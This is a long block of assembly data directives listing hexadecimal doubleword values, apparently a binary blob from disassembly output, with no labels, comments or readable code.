		dd 89FB662Dh, 6090300h,	3F881A9Fh, 7EB1262Dh, 1E8308D0h
		dd 0E7FD4002h, 9EAC800Ah, 138ACA3h, 0FC518D0Eh,	8C6CC7CBh
		dd 71D5EBE8h, 0C4C100DDh, 0D840BC85h, 16782A03h, 28C090FCh
		dd 56FCD448h, 32B0A045h, 0C4998Eh, 99B4E272h, 0B9386467h
		dd 0CC3C86F2h, 6F02857h, 44457976h, 47008939h, 701A907Ch
		dd 0F33828h, 2D9872BDh,	354D18A4h, 6375DA00h, 0D20F6113h
		dd 0FCB4027Eh, 0D5379C91h, 0D8EBF083h, 0D7E47902h, 41CE79C7h
		dd 68366934h, 0F0C8310Ch, 6A266D29h, 1C1648E0h,	9C0E545Fh
		dd 0F1B220C4h, 0E82B2Ah, 65BDE486h, 42D895F8h, 225CDA4Ch
		dd 4A8EA98h, 0A9088371h, 9E8C072h, 0D0B0232h, 80487AAFh
		dd 0C7913C08h, 6090AA8Eh, 9E5E48Ch, 0ACCAB78Dh,	0E24E7407h
		dd 6A07654Ch, 7A4420D0h, 6A00173h, 0AC3B5332h, 0E1C1E7A2h
		dd 0AEA9804Ah, 0DE77EE28h, 13DF00CEh, 0A555BB07h, 0F1096A67h
		dd 20A39C40h, 43467064h, 37E1198Fh, 0C092E9C6h,	2B0091A2h
		dd 0A5857817h, 14BB9D8Eh, 94AD5FB8h, 71794A0Ah,	44023EC0h
		dd 0D48D57CDh, 0FB43B882h, 0E4441CC2h, 7F0F7246h, 7DC87005h
		dd 279C7C6h, 940576D5h,	2480C43Eh, 971ED4DEh, 95E9A004h
		dd 78825482h, 5B7307Ah,	1059A211h, 973084h, 0A905EA0Ch
		dd 0F88FA04Bh, 20E00238h, 29F7F653h, 190A40C8h,	5979C0A8h
		dd 68D45514h, 0C9A207B8h, 0A0FC5B31h, 0D178B1B3h, 0D0183Ah
		dd 0EB5D65FFh, 9687D78Dh, 2F1FB490h, 0D4499C3Ch, 9BF023B4h
		dd 6421CC1Ah, 0FED40199h, 1790EC48h, 5D783FDFh,	6A214FA4h
		dd 88E10584h, 3B716820h
		dd 0B58B7F02h, 0C9834D78h, 21803F58h, 913BB682h, 141CD832h
		dd 35002BE6h, 55799A8Ch, 0F881F158h, 5E5F0A09h,	0FC908630h
		dd 51952DFh, 5CB8F14Ah,	0CCDCC063h, 9B122764h, 0E800200Fh
		dd 8A8922F8h, 0D9492E90h, 0C31B0DECh, 649820E0h, 950BEEFh
		dd 806613BCh, 7F048B10h, 328F1510h, 8D1F6C6Ch, 0C6C96h
		dd 2E4A3ED9h, 536467B8h, 516703F0h, 0A38B713Bh,	888078E8h
		dd 77C63BA0h, 0B4C40024h, 64028CB5h, 1900ACD2h,	3F692F23h
		dd 12B73C8Ah, 3A486A61h, 3092330h, 5C8FAAACh, 307844D9h
		dd 4E05CC7Eh, 9C468EF6h, 175DEC49h, 396F8888h, 0B9C69860h
		dd 0EFC50007h, 0FBC77599h, 355C0489h, 64D380E0h, 5DACEA1h
		dd 0E6406ED9h, 0B8B80CA2h, 0C10FC679h, 0C1BF54F3h, 7C94AE80h
		dd 7CB57048h, 60592305h, 6A9FE18h, 0BE408h, 0FB7113A6h
		dd 3F2D6601h, 9BBE9A13h, 0F68B2420h, 133B4B4Fh,	92880820h
		dd 846D820h, 803B4A02h,	40310D8Bh, 3BA24310h, 0CA02F9FCh
		dd 7E0C0869h, 487CC830h, 9FF6008Eh, 74DA6B49h, 0D8120252h
		dd 1C105AC3h, 17B23DCh,	597F05B2h, 40611868h, 9D901794h
		dd 0D400C1Ch, 70003892h, 1F219D60h, 26CCB8B0h, 0D0C7E4h
		dd 73942FDh, 410C17A9h,	903ED496h, 53DB0013h, 0B78E8724h
		dd 88C528BEh, 0CC97A5h,	7E048C75h, 0A5414505h, 38A961h
		dd 300575BAh, 9E80E892h, 0E2E03ECh, 4F156EADh, 0F1A84190h
		dd 43E0CE0h, 0AD8BA43Bh, 203A3278h, 7D3BB587h, 0DF2D4E00h
		dd 9749D70Bh, 0A327E49Ch, 6BE82EDCh, 0C24A1290h, 1045ABE4h
		dd 199461E2h, 5C7C3846h, 8C3EB85Ch, 0AAE6EC00h,	0ABDF3418h
		dd 0C3FB0C4Eh, 48A0050Bh, 0C5C1561Fh, 57B7748h,	0C04067EDh
		dd 0D9F943E0h, 5B86B59h, 3537FD5Ah, 0BFB3E401h,	0BC4A199h
		dd 7E860124h, 0F0555780h, 38208045h, 7606FB8Ch,	820A7E0h
		dd 96C7DFBAh, 30FAE0DDh, 0B113977Ah, 488B6C8Fh,	97728700h
		dd 55B7BE38h, 8D902000h, 8EFFC8ABh, 0A82CB921h,	0EF8A00EBh
		dd 0D65D9812h, 0A8EE422Ch, 0B1DFEC03h, 0A08DC2A1h, 77836AEAh
		dd 7A7C002Bh, 49D4A71h,	8FEBBDFh, 51C03730h, 4F039BC3h
		dd 0B05028F1h, 10C65430h, 68259Bh, 0BD757303h, 663863F2h
		dd 0D96CD100h, 0C56E09FFh, 0D5D6300Eh, 85358624h, 2E138B00h
		dd 3D1E7BE6h, 0EED200DDh, 0F517E32Bh, 0C21F97A2h, 1EBA58DCh
		dd 9D80DE6Dh, 0B54F43D3h, 36BD39FBh, 4580C43Bh,	0C6532BCEh
		dd 0D407E4A0h, 4B0FABD3h, 70136D50h, 9A450F92h,	2E4052A9h
		dd 9ED089DAh, 0F4EB6F00h, 0B96C5916h, 3A971CF3h, 0E2B045F7h
		dd 4950007Ch, 8879E068h, 53007DF8h, 0C0F71170h,	0E49D3B1Fh
		dd 707B042h, 72CCA6CEh,	0F086B020h, 0D300129Eh,	3CBDB51Eh
		dd 8C1C98h, 356C0441h, 0F913160h, 0F4280FB0h, 8500EE69h
		dd 6D377E0h, 7EAA4Bh, 0BEEEDE50h, 35690403h, 0FE43A500h
		dd 0B41EEA1Ch, 77010036h, 0C1F1ECDFh, 6600391Bh, 8F1961B1h
		dd 0E6C03E71h, 0CC7601EFh, 70B7F4C4h, 2879E1A8h, 0FDEA7644h
		dd 0D3BFC300h, 1E7AF6E7h, 0C8F90063h, 0B5CB4636h, 7E0095E4h
		dd 0EE3B85FCh, 0AFBD78h, 8472072Fh, 95DC47BBh, 0EC5A7100h
		dd 1CC8CA2Dh, 0CCC53CB1h, 95800C48h, 0E1FAABC3h, 0A13C8500h
		dd 9CE6C2C6h, 38760792h, 0D015CB2Dh, 0F1BD5B63h, 0A1983E00h
		dd 714B9EBFh, 0C1190004h, 7B0D2D61h, 0CE00E7C3h, 55A82B89h
		dd 178A2AB4h, 0FCF09Eh,	3DA39C66h, 0D303C9CBh, 808645FFh
		dd 0AB34C817h, 6E50000Ah, 0DDA9FCA4h, 5D0101DAh, 0A17C4706h
		dd 1C247956h, 6FD70097h, 580E5535h, 63498FA8h, 0F2F0370h
		dd 93159BF8h, 0EBEF0E6h, 421E00AFh, 0D6B275FCh,	0B80036ECh
		dd 3BA9DEFh, 1CF1CA80h,	28A988FAh, 266C2890h, 4C8A00E8h
		dd 8C617602h, 0E500E455h, 0D87A2B51h, 0C50FC998h, 43751B78h
		dd 0F7E3B3D0h, 0BC047800h, 0EBF9484Fh, 988F009Fh, 957C62B9h
		dd 0A730DAA1h, 0C5CC6989h, 5275B3h, 68F9E951h, 0F49E59Ch
		dd 226FDC2Ch, 360A0Bh, 8DC0CCA5h, 55FB488Eh, 2F122A07h
		dd 0ED25917Eh, 2C042079h, 0ECAA8B00h, 1924CD21h, 67FC02F9h
		dd 0DBCCC611h, 0C2B0F090h, 9594A900h, 0FFBB5C9Ah, 175A0070h
		dd 4E236A06h, 0FE00B14Ch, 6E6058A4h, 28812DBCh,	39A00BD6h
		dd 0A880642Ah, 0A5E19E1Ah, 2400D858h, 5EA45516h, 86C815h
		dd 81D26348h, 0E292E7DAh, 58DE7400h, 674546CAh,	84941E16h
		dd 34FE3BE3h, 0EB21D304h, 7EFA2100h, 11F7831h, 0FA81CB5h
		dd 0E43B7913h, 0AF009BDCh, 0A11137E8h, 327103Eh, 178BB7F7h
		dd 89E015BCh, 0EA7AC7BDh, 30397601h, 1ED1920Ah,	1D63D8h
		dd 7E4DB4FDh, 8180FC35h, 94145071h, 8CF289h, 1E011A0Bh
		dd 0A0053BB0h, 328BCCh,	4361C6CFh, 4A285515h, 2BDCE700h
		dd 0FB7347D4h, 0BA1B0298h, 0B04D428Ch, 0C4D2FC48h, 5E0EFD00h
		dd 0CECA69F3h, 561B01B8h, 76C88D57h, 28BAE485h,	92EF4F00h
		dd 5E1FA049h, 2F600014h, 644581FEh, 0DF0CE3DCh,	0A92C611Ch
		dd 0F1B72079h, 2021AF6h, 874937A5h, 92844816h, 3D4E01E0h
		dd 803C07B5h, 8B1EC874h, 43C46E00h, 6D867923h, 0E13300CCh
		dd 90E9914Dh, 9772A3FEh, 952448h, 87C5276Ch, 9DE52EDh
		dd 4A151C93h, 1FA60827h, 291AC200h, 1B00E386h, 0B535DA71h
		dd 76D902h, 27494809h, 0E80D101h, 6A158D00h, 0C11B1213h
		dd 31B80052h, 90AE2572h, 4060BC2Dh, 66D1740h, 80B400EDh
		dd 0FF9DABD8h, 9AE07307h, 2410B71Fh, 0CC873CC0h, 285C5F6h
		dd 0E902CE48h, 84050BCh, 0AE01B9F0h, 7052DE7Ah,	1BE8F7D4h
		dd 0B2E8A9E1h, 9E2E6A00h, 0E0451D28h, 3379D91Dh, 0E454E880h
		dd 1D6CAC8h, 31F62B63h,	0E8200A5Bh, 8800F5FCh, 740259BEh
		dd 0F01A926Ah, 3854489Dh, 0B841C600h, 7C8663A9h, 90DBB600h
		dd 6F518A56h, 894D004Ah, 0A3BBD87Bh, 82003E2Ch,	26DB211Dh
		dd 3DE36Bh, 8B7DC16Fh, 81AB23EFh, 3AB7F802h, 61A20932h
		dd 0BEC41EDFh, 85EA017Ah, 0C4F2FA47h, 71C7D41Ah, 0F6E60B00h
		dd 760416C8h, 1C537C62h, 8396311Eh, 836E2A65h, 54EAF6F0h
		dd 243B30Ah, 2080A828h,	0FD58DF60h, 99380E77h, 6FACA592h
		dd 7100F298h, 5603C20Ah, 4BC701h, 4FD2B038h, 0C422AC4Ah
		dd 93303200h, 0D5906E17h, 0E25F015Ch, 0BF38C685h, 53F060C3h
		dd 0CCEFE500h, 34BDD482h, 0BB7E8DAh, 0A5C744ECh, 65E71C00h
		dd 0EF039D01h, 8F0B5613h, 4FD4D8E8h, 0B0690FDDh, 0C6807B06h
		dd 0EDD12CC3h, 0F83AB924h, 0A8A49A1Ch, 9E1E0820h, 1200AEE0h
		dd 65BF6BEAh, 4BFC0209h, 32ED8A80h, 0B3D6860h, 7B74C101h
		dd 104223ADh, 3DBD0864h, 0B4247F32h, 0DE140034h, 7ED70AE6h
		dd 3402BF00h, 0DBA610A3h, 2D9707Bh, 0A712E532h,	8837ADAh
		dd 7DF0A40Fh, 341BFDCEh, 80300DE8h, 5C7108A0h, 5884B047h
		dd 0C505801Ch, 7903A577h, 0C9C81F59h, 72210BC6h, 0C0A04CE7h
		dd 0B09154CAh, 9C088F61h, 188F3214h, 9802490h, 6731DF7Ch
		dd 725B9603h, 0D0CEC53Dh, 38EB904Ah, 1A008F49h,	5DB01422h
		dd 2A0019EDh, 7CAC8C8Bh, 90786D8Dh, 79C56E68h, 58415324h
		dd 0D35506h, 0FB9134CCh, 2040450Ch, 59722D02h, 0A202C836h
		dd 114D5658h, 8D022Ch, 72258FEBh, 0C6103B50h, 0FE000572h
		dd 0E1495C64h, 0EA5A8Fh, 27F96891h, 3FE5155Dh, 7B00627Ah
		dd 0E06D9301h, 6CBBA6h,	23CD80Bh, 0C333AD21h, 0C25C5301h
		dd 0C114A8B6h, 0F32760h
		dd 0F5806890h, 0E07AE265h, 7D61BE00h, 8CBC71EAh, 951603EFh
		dd 7F52A155h, 33B8BBD0h, 0C94A38EEh, 6C738402h,	0A0E163FBh
		dd 3BA1310h, 0D9BECEADh, 8DA03462h, 764BF08Bh, 9FDB6400h
		dd 9E6EE9h, 0A32598ECh,	0F9FE5F05h, 820478F2h, 0C7321ED9h
		dd 0EA4838D0h, 0D77001ADh, 0B2F91427h, 3148893Eh, 1E185155h
		dd 900FD30Ch, 5BD01808h, 69A0A500h, 0A27D0141h,	141D00D9h
		dd 0A3ADF3D2h, 0DA60EB3Ah, 0BFFBDB61h, 0A06500ACh, 259219C7h
		dd 3A372F85h, 5233E1BEh, 0F98F90A8h, 0B61407C5h, 8072B91Bh
		dd 2815D374h, 4D00CDEEh, 0C5B204EAh, 9DA6B23h, 35E17C89h
		dd 0C880942Eh, 0B8BCDBD2h, 625B5F00h, 42E4A9D0h, 0FEB60037h
		dd 0C870EBC2h, 0A0F4D5CDh, 0FB6F7909h, 322003D2h, 96F02273h
		dd 84CF4200h, 41A5AF23h, 0CBC21624h, 306CC80Eh,	0CC4EB04Fh
		dd 0DCB7C0FAh, 78EA7880h, 8F9901C7h, 0E1702F8Ch, 92408053h
		dd 0ED306EC4h, 345600C6h, 95FEC573h, 8C005513h,	514191C9h
		dd 0E82236BFh, 67A391Eh, 2F247000h, 67960A6Dh, 3C09953Ah
		dd 2720E0FEh, 7E70A8h, 4988572h, 0D034DB35h, 0C5BC0F01h
		dd 27406C13h, 0E46C280h, 5B2EE67Ah, 0A08CCA01h,	115DF57Fh
		dd 4B8330h, 65141AD3h, 0A439CC60h, 209D7007h, 7D707AAFh
		dd 3B7FA9E6h, 2A00AEB3h, 5CAC039Ah, 0B2E0EE92h,	20A4580Ch
		dd 402E680Bh, 0CFE8901Eh, 1152CC30h, 5C7DD74Eh,	7806DE40h
		dd 8E7D822h, 91213A67h,	0FA627DC0h, 0DA82384Fh,	4279683h
		dd 14C071ACh, 60C6070Ch, 0C95009h, 0BD51013h, 0DC5D5BE1h
		dd 3B20CC00h, 377CBC30h, 292D6009h, 809926FEh, 0C0CEAA02h
		dd 0C1D60F52h, 218B15EBh, 0DD8A4Fh, 4A41E2D5h, 90C83061h
		dd 87485C0h, 0AB781460h, 53365Eh, 1DDA491Fh, 0A81AD35h
		dd 728EF700h, 0B0BB7786h, 0AAEBE5D8h, 16F66087h, 8FDC005Bh
		dd 0E68D4F9Bh, 3D00D6C6h, 0E284939Ah, 60E32EFFh, 784618ACh
		dd 41F892E5h, 0CAEF4400h, 64F5BD29h, 0F8E02Dh, 0A754B47Ah
		dd 8BBA212Eh, 9500687Eh, 0C1A39FE5h, 1FAE0A92h,	40187EA6h
		dd 29CB8E57h, 8C03ED7h,	31FA9ADFh, 92AA00CAh, 0A968A352h
		dd 2000FFF4h, 4A022D32h, 604BE604h, 422A400Dh, 3803B66Ch
		dd 0A23EF2C6h, 1D497244h, 0B7F8E582h, 906B4310h, 0DDDE1906h
		dd 0C4054A7h, 246EB5E8h, 0BE18F238h, 0C61851B6h, 3949C048h
		dd 7EFC499Ah, 0AA8CC00h, 7E1EAF0h, 885E5077h, 56CA3EE3h
		dd 105A9F18h, 40709C8h,	72FCFFDBh, 2227F301h, 1A3F0h, 95DCD284h
		dd 5B2F646Dh, 0C90049F8h, 94AF240Eh, 0F61C78B1h, 28B53B71h
		dd 1D68F900h, 82BB46Ah,	0DBED610Eh, 21F640B7h, 0DFE3DDh
		dd 0DA7F8083h, 5B7ABD8Dh, 43006E76h, 27336899h,	8E564Bh
		dd 48F95FD1h, 1BDB1DFAh, 514D8100h, 271640B5h, 5BE0076Eh
		dd 0A24BCC91h, 1EE03222h, 741A0CECh, 1117C3h, 0D54DDE04h
		dd 95C8F99Ch, 0ECEF0012h, 0A91FA1A4h, 0E9001493h, 2E5AA7E2h
		dd 0E365A6h, 88946186h,	301E80B0h, 0B6F3C500h, 22A9CC12h
		dd 7098A4h, 903E9CB3h, 5FDBA016h, 3C148600h, 5733544h
		dd 0BE90E3h, 75859E8Bh,	0F29BEFEDh, 1F6F6E00h, 2C82D2D0h
		dd 322D18B5h, 0B3F41011h, 0A64994A0h, 36E4CF74h, 0A9838F07h
		dd 9B40E001h, 741B92h, 1D419384h, 0EEE6E2A1h, 8C205F00h
		dd 37AD36BEh, 0F14A1D71h, 0DEA4C06Ah, 68D8580Eh, 2BBEDC00h
		dd 0A751265Fh, 0A349004Ah, 931890EEh, 0BF00EFA2h, 3C76CD68h
		dd 0DA2F2Eh, 591C72ADh,	0FDE9B62Bh, 0B3BF300h, 0C3A94B20h
		dd 1158C0DDh, 0BEEC1C87h, 0A91A7C2Eh, 0B896430Ah, 83686900h
		dd 9423A77h, 747C53DBh,	8AF3FD80h, 0FD00E4FFh, 0A6A38C5Dh
		dd 399247E9h, 0FA53F4h,	0B7B516A0h, 0FD3BAADFh,	0E53C2700h
		dd 0A2CD7833h, 1B131FCCh, 0E4EA9Ah, 0C165CF32h,	517F6BE0h
		dd 3F3CCD75h, 6E7A8044h, 94150D73h, 139C7F8Dh, 0FF3AE5h
		dd 0D01084FDh, 14033320h, 3B2D2519h, 44858069h,	7ACC0058h
		dd 5D558286h, 0F0007538h, 0F971C752h, 0FDE56Ah,	0AEFA7910h
		dd 236CAF1Ah, 0F5422400h, 7B8D66D7h, 0EE4500C8h, 4904CBD5h
		dd 0CFEE966Dh, 207C2B00h, 0FFFC95BDh, 7122001Eh, 4359E150h
		dd 0F6097098h, 1636C4h,	0ECD60554h, 77AB0081h, 8706670Bh
		dd 4A0AFB92h, 0BF6A7C38h, 8CEF4900h, 3FDEA65h, 7BC13195h
		dd 100762E7h, 0AC849F7Ah, 0F7DD2C00h, 0FB8600B5h, 4B74CB7Bh
		dd 0E43B46C8h, 9412BFE7h, 1A18320h, 5002139Dh, 91807D76h
		dd 1C5BCD0Eh, 0ADA0493Bh, 77242D68h, 0BA00A431h, 0DB61327Ch
		dd 58D228F2h, 91621FB5h, 43D7C03Ah, 0E5B2CF29h,	325C42F8h
		dd 250900B7h, 33441B4Eh, 3F38A106h, 78514D0h, 6DA5B384h
		dd 246940DDh, 5C385088h, 0A3E40353h, 4ED499h, 3EAE8D18h
		dd 42BEF89Dh, 539E7500h, 0B6C47687h, 8FA20699h,	2495633Bh
		dd 5AF7200Bh, 468255FFh, 184BD939h, 898F68F8h, 0D447C62Ah
		dd 0CD07FDF4h, 39F7E7Bh, 2C130880h, 0BFB903C2h,	358CD6DEh
		dd 424D9698h, 14006398h, 8E4656B5h, 0FA05744Eh,	9EB7003Eh
		dd 0A86893A5h, 5800635Bh, 492C87CBh, 0DE9AEh, 515DCD28h
		dd 43ECC564h, 480F0200h, 7C76CAE0h, 0B5B1009Ah,	1222EC3h
		dd 66039C7Fh, 0B7078A5Bh, 98C4C345h, 0FC8EBCAEh, 977BCCh
		dd 0BB44519Fh, 18DF7BF2h, 0ADB86200h, 0FB9D95F0h, 0E2C53917h
		dd 0F2AE5F80h, 68745764h, 39EF0600h, 5C533E70h,	0D5BD0A24h
		dd 808CF832h, 8A8E5567h, 5800DA0Ch, 0D5287C63h,	3A6CCDh
		dd 0D42372A1h, 3DEA3561h, 0F75DA00h, 589C51DEh,	1F0C002Fh
		dd 6119298Ah, 50F89537h, 92D56500h, 0CBD3CF1Ch,	0C3430038h
		dd 4F6748C7h, 34035F1Eh, 35EC4C94h, 8CF1906Dh, 0AE57009Fh
		dd 1EC6E563h, 58907212h, 96814D02h, 80B9AAF5h, 46EBEA87h
		dd 28983D3Ah, 0E1D48085h, 3FB4004Ch, 8B90C586h,	212D3C01h
		dd 0BBDD9F68h, 0E01E080h, 572A73D7h, 96008274h,	0E7F69A59h
		dd 2C0D99h, 3FD8467Fh, 81E36CB0h, 0D1AA40h, 80CA3A58h
		dd 33277698h, 6AC2B300h, 6C578140h, 51CF3009h, 6F100A28h
		dd 58F9FF00h, 45BC76E2h, 6A3D055Ah, 27E71Fh, 0F615B4B7h
		dd 330021B3h, 0C67FD9A8h, 0FAE92AFDh, 1D5F01ACh, 88E39F23h
		dd 5E5864B1h, 0C80FCB00h, 366F21A1h, 0ADFD0198h, 545B5AD8h
		dd 0F2B8E390h, 8200F6DDh, 6120E7D2h, 53C0E3Fh, 302AC435h
		dd 2ED2C0D3h, 8500AF54h, 38821D16h, 4B36DD9h, 4AF52F0Bh
		dd 9FFCC0C0h, 0EFE65EC9h, 56A0F200h, 0B446E40Ch, 51C501A8h
		dd 0A588A76Eh, 680B20A9h, 0DE077BE2h, 0EDAD503Dh, 65867930h
		dd 0E47841h, 78A991BEh,	9B812D26h, 3A88CE1Dh, 0A5D81500h
		dd 7E0A2E5h, 29056034h,	3400F95h, 52083865h, 1C61CB24h
		dd 20FA060Fh, 141DC134h, 962B006Eh, 9B88DFEBh, 700049BCh
		dd 0F23ADCAEh, 0E3C1C94h, 0BF2B1425h, 813F0F27h, 0E80A2A6Fh
		dd 36009508h, 382E63F7h, 0AEA1E4h, 9940AFCAh, 562A451Ch
		dd 5E1AA6E2h, 60217E10h, 3EDB7A45h, 38805A88h, 1D1A6B2Fh
		dd 4824997Dh, 1F0051DAh, 0CE7BA89Bh, 5DFE0FEDh,	0C0FD1A12h
		dd 0FBD0BAF9h, 1D1FC2D2h, 45809CD3h, 0FF0475A4h, 1EA10085h
		dd 0F1791FE2h, 20F2536Dh, 0DA25D700h, 87123959h, 233558C5h
		dd 0AD06EB00h, 0A2445F51h, 52019F0Eh, 45A48FA5h, 4D807A55h
		dd 93B137Bh, 0C8EF87A3h, 54016880h, 33000B63h, 0AC06BF9Fh
		dd 8BB41Dh
		dd 4AF0EAA1h, 10C377C5h, 481E20C0h, 3E62FF8Fh, 422EBC7Ch
		dd 0EF2600FAh, 6DE946DFh, 2A289CBAh, 762E8029h,	670089C6h
		dd 46AAF68Ah, 0CECC00E3h, 0C1F58B7Ah, 0CD01FF03h, 0E2B678D0h
		dd 84002C6h, 6C48789h, 0D1C02201h, 840B317Ch, 8F68274Eh
		dd 0F0D52718h, 0A021A16Fh, 80202DEBh, 0E0065D42h, 0F0BD9503h
		dd 80C8E74h, 395E2950h,	3EF10005h, 0C1EB8D3Ah, 1C00DA52h
		dd 3662E2FCh, 0EA83BCFFh, 0DB120060h, 840ED428h, 290042E1h
		dd 6EE42C67h, 0A70594h,	0BFE5E93Bh, 537058C0h, 0C3EEF300h
		dd 49DCA17Eh, 9CFE0063h, 1106AA19h, 4209D34Bh, 4F0FCDh
		dd 0DCECFA5Dh, 0EFDF1D4Eh, 0FC6D8186h, 803F54D5h, 0B7A14A39h
		dd 0C0EA5C3Bh, 0BA5870D9h, 9007FA1Dh, 661AA762h, 78AA0A1Fh
		dd 0EAD8AB00h, 7ECD0EEh, 7BE9E376h, 1200FE65h, 0AB56E433h
		dd 0CEC3A400h, 5AF094D9h, 0D0BD0001h, 7431850Dh, 0F71CA10Eh
		dd 0EB87CF8Ah, 0D3B74741h, 0F3004E17h, 5D784h, 902F5797h
		dd 55AD4DC4h, 0BA29FB00h, 2E65DFE4h, 0DEA01886h, 0CB17C26Ch
		dd 1CAF5812h, 46FA894h,	84B46E15h, 0C0284109h, 8422650Fh
		dd 1C407C8Ah, 0E5004DFFh, 0B172D794h, 262AEBAFh, 0C470EAh
		dd 0BB2DB477h, 7E0E464Eh, 204873C6h, 0D8D381BCh, 9AA84880h
		dd 43DDEC00h, 0ED83679Eh, 0DE285A1Fh, 6CCB1C05h, 0E94CC580h
		dd 40FED8h, 27952B36h, 333CA444h, 0D50A4501h, 0ED11B77Ch
		dd 1AE5ECh, 0CACC6404h,	142F4B27h, 7168D8E3h, 945C48B8h
		dd 95007F50h, 6AF7F6B9h, 0CAA757h, 213A5C90h, 0DE734F06h
		dd 0DFBA2607h, 8F50CE98h, 7CF165h, 7BCB22CCh, 74E490B7h
		dd 0F474Ch, 0A3AC621h, 4A82489h, 0D1D8A38Ch, 31B48175h
		dd 707EDDF4h, 500EFD54h, 9C716DC1h, 49734700h, 57343Ch
		dd 303F8804h, 0F12D9DDDh, 6B65BB02h, 5033F3F6h,	0CC5A0030h
		dd 5CBC2FEEh, 0C2066070h, 0D8024C3Ah, 6D1D0138h, 0D0E7828Ah
		dd 2465F894h, 6CCF4Ch, 0DC62FDDEh, 0B71EA99h, 669A18D1h
		dd 5232B020h, 1F00DD03h, 0B95EC15Ch, 0C0787109h, 9455A441h
		dd 0D498421Dh, 96009D7Bh, 97DA2098h, 740CFB87h,	0F680007Fh
		dd 0AF321E49h, 431D4BB0h, 319E5F1Fh, 555D8300h,	1CF9C512h
		dd 8025CAEEh, 0A88C51DCh, 6F0FEB7Eh, 0EC98B537h, 0E2A18C9h
		dd 4775C58Ah, 0E08BB121h, 6D96E88Eh, 17DF2407h,	0A030B627h
		dd 0B1FADF7h, 63E77FD6h, 60EDC182h, 2881D4C9h, 67DF0CB0h
		dd 30303826h, 0C8F8CFB4h, 0E8819660h, 0B8FC52FEh, 353A00ACh
		dd 0C5A983C3h, 0A5005064h, 0AD2D71B1h, 0E7C7549h, 0B99E965Bh
		dd 0C9F67061h, 0B4CC513Fh, 3BFC28CCh, 9466A8D8h, 1B7D9300h
		dd 22CBE47Fh, 0C3ED0131h, 0B512D465h, 0D6A182CAh, 0A0045978h
		dd 636733E0h, 1F50545h,	1DD4E9h, 0A878ECF5h, 7300EDE1h
		dd 0CAFFC167h, 3BA2B9Ah, 0D6669F69h, 86804A18h,	40070943h
		dd 0F0396130h, 10A97BB6h, 3179BB7h, 5627731Eh, 0B9810019h
		dd 8EEC6DD4h, 0EF00436Fh, 62C45E5Dh, 940FF1h, 0C5427F84h
		dd 850A68FBh, 19F28102h, 0C840C661h, 22C320h, 0E03B78D9h
		dd 0D685E4F0h, 9E4AB17Ah, 0DF66A000h, 39D1CDDEh, 6074DAE3h
		dd 89601835h, 0E20E80F6h, 8025E550h, 5936B37Ch,	5165008Eh
		dd 0A75EB8A4h, 39278A93h, 0BCDD8F96h, 20158DCh,	6BD8543Ah
		dd 6F11D4h, 0E39CC632h,	70B2E0EAh, 9B1EA803h, 0A06B1330h
		dd 0E4D986E4h, 0B6880091h, 1B8460D5h, 0CA0140F1h, 611719B0h
		dd 904326D6h, 0F8C0B011h, 69D300F7h, 0C720E9B5h, 3B4B75FFh
		dd 67E20000h, 0B71372h,	68854E8Fh, 46E19F8Ah, 94FF7A1Dh
		dd 233112C0h, 558677Fh,	6945A55Ah, 0C7885D53h, 0F088B64Ah
		dd 23B9DCA9h, 1E8DC900h, 37F825C2h, 0CFDD006Bh,	34053E4Ch
		dd 247622B3h, 5A006F77h, 95F21D59h, 3A62EF0Bh, 0A813EB06h
		dd 102409F6h, 3FF74421h, 0AFA8FF5Dh, 65126FF9h,	0E400D384h
		dd 39209D38h, 459624FDh, 0AC5D8014h, 0C5A33FCAh, 44AB9200h
		dd 5FF3B6DCh, 0C16E018Dh, 43A79711h, 72A8D84Dh,	17DE7500h
		dd 149A21C2h, 81040033h, 0FF6DAFE6h, 5E0024F1h,	0AABF19A4h
		dd 68D0Bh, 648AC6CAh, 0CE736DA8h, 0B88F9716h, 0CB592845h
		dd 0C835F8D0h, 482348F2h, 856B4E00h, 0F1F437BFh, 79E9EC00h
		dd 0BE389698h, 650800CAh, 0E2FA2AC3h, 0D600F146h, 0A116FB0Fh
		dd 6137D2F4h, 8F6A18FDh, 9312205Eh, 0A5EC2800h,	36CB18E6h
		dd 0FCFD0705h, 90D97797h, 1A1E4B62h, 669B7300h,	22F81DEBh
		dd 0CF2F0398h, 52900629h, 0A41E708Fh, 5A007DA8h, 406B503Dh
		dd 50CF9D63h, 8E8A9h, 8D6472E6h, 33229ED2h, 19031403h
		dd 0B0939B1Dh, 9063FDCCh, 606C07D4h, 7096ED6Eh,	0A334AA0Dh
		dd 0BF205B00h, 0CB6377E7h, 0D1623F69h, 5186DD89h, 0FB9B1800h
		dd 4B38148Ch, 0D41081BEh, 8B8D0E02h, 48F0F031h,	87B000FFh
		dd 8A08136Bh, 0CD0FB4D1h, 6046A0E9h, 0BAE089E1h, 1FC9001Bh
		dd 41E6A82Ah, 0A67BF260h, 0AF0099F2h, 0E8C4D558h, 70B9F171h
		dd 8B180440h, 80D0E644h, 0B5918CDBh, 0CE953400h, 0B0063D76h
		dd 0B73A0071h, 27F19BBCh, 570FDA16h, 1C9C841Ah,	530AAFC0h
		dd 1F3DCF4Fh, 917223h, 0FC28D936h, 0B20089BCh, 0C6EA4DA5h
		dd 8F33A4h, 2A863493h, 0DBEFDDD3h, 1EAE2600h, 55E295ABh
		dd 4D36F6DAh, 0B6006097h, 0D8062B86h, 0C4735A35h, 8C450700h
		dd 7CB72934h, 479A0371h, 0FF6892DCh, 4A9B7BF8h,	84AE2C9Eh
		dd 860B40Ah, 650C0025h,	320E6194h, 0E6307AE1h, 3BB8C2E0h
		dd 82FC5F5Ch, 0C8BA40A6h, 225498h, 0C250DE0Ah, 9175830Bh
		dd 1A14A1C0h, 620DF666h, 90FA1160h, 266249C0h, 2010D130h
		dd 2EA5A3Dh, 0C0A52C1h,	208F7D83h, 4E0302E3h, 0FB1D0BF8h
		dd 15A86D00h, 0D1A14C9Dh, 149050D5h, 540303D6h,	52DE0B9Ah
		dd 50DC3002h, 824C69C0h, 80605654h, 9A766460h, 0F6EC38h
		dd 0B117E3B4h, 85F3554Dh, 9EA78A05h, 7DC1690Fh,	0F6E09231h
		dd 5B831D30h, 0F064C0F9h, 48536C4Ah, 8F3A1D74h,	233DF6A2h
		dd 0AD0980B4h, 1AA55524h, 6F50010Ch, 0BA0A9B9Dh, 3C65D1h
		dd 0EC9066A5h, 5F062376h, 93E94DE2h, 85310792h,	41250587h
		dd 0C0A91C96h, 172D95EEh, 8114A0BAh, 507BF3E3h,	13BE810Ch
		dd 0E0A0B3CEh, 101B7826h, 0C0F1C2B9h, 78074147h, 0D1730048h
		dd 87DCAF6Ch, 0B43B694Bh, 38998F57h, 97A487CFh,	0F63C1F10h
